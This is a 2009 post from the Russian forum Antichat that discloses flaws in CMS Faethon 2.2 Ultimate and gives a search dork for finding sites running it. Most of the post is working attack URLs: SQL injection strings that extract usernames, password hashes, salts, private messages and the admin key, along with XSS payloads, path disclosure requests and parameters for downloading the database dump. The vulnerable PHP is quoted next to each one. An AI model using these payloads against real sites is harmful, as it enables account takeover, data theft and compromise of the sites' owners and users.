Форум АНТИЧАТ - CMS Faethon 2.2 Ultimate

CMS Faethon 2.2 Ultimate

14.04.2009, 19:26

eLWAux

Members of Antichat - Level 5

Регистрация: 15.06.2008

Сообщений: 941

Провел на форуме:
5111568

Репутация: 2399

Отправить сообщение для eLWAux с помощью ICQ

CMS Faethon 2.2 Ultimate

скачать: http://cmsfaethon.org/downloads/#22ultimate
dork: "Powered by CMS Faethon"
очень интересная cms) никаких проверок, никаких фильтраций, и подобного..
в общем, баги присутствует почти в каждом файле)

BlindSQLinj vote.php:
/vote.php?alt=' blindSQLinjection--+ - только один раз с одного ip

PHP код:


		
			
$result=sql_query("SELECT ip FROM ".$SQL_PREFIX."_survey_ip WHERE ip = '".$your_ip."'");

    $survey = sql_fetch_object($result);

    

    if(!empty($survey->ip))

    {

        echo($lang['already_you_voted']);

    }

    elseif(empty($survey->ip))

    {

        //vypis poctu hlasu u odpovedi $_GET['alt']

        $result=sql_query("SELECT votes, survey_id FROM ".$SQL_PREFIX."_survey_alternatives WHERE id = '".$_GET['alt']."'");

SQLinj info.php:
/info.php?item=' union select concat_ws(0x3a,username,password,string),2 from <PREFIX>_users where id=1--+
/info.php?item=' union select concat_ws(0x3a,from_user,to_user,subject,text,date _send,date_read),2 from n07_users_pms limit x,x--+ - читаем ПМ

/info.php?item=' union select adminkey,2 from n07_config where cfg=1--+ - читаем админ_ключ

PHP код:


		
			
$result=sql_query("SELECT title, text FROM ".$SQL_PREFIX."_html_sections WHERE address = '" . $_GET['item'] . "' ". $multilang -> sql .";");

по дефолту , <PREFIX> ]= n07
Формирование паролей:

PHP код:


		
			
function GetHash($password, $string)

    {

        $passwd = $password . $string;

        return sha1($passwd);

    }

SQLinj author.php:
/author.php?id=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+
/author.php?name=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+

PHP код:


		
			
if(isset($_GET['id']))

    {

        $result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE id = '" . $_GET['id'] . "';");

    }

    elseif(isset($_GET['name']))

    {

        $result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE item = '" . $_GET['name'] . "';");

    }

Раскрытие путей::
/?SetLang[]=eng
/gallery/image.php?id[]=175
/articles.php?from_date[]=1-2-3&to_date=1-2-3

XSS::
/article.php?item=">XSS<a href=

XSS в ПМ-сообщениях::
можно отправить админу пм )
/user_pms.php?action=new_msg

Код:

	Komu: ..
	Předmět: <script>alert('O_o');</script>
	Message: ..

в админке /admin/ ::
дамп - /admin/acp/backup/dump.php
$_POST['backup'] = 4; //Download
$_POST['akce'] = SaveDump ;
^^ надо передать post запросом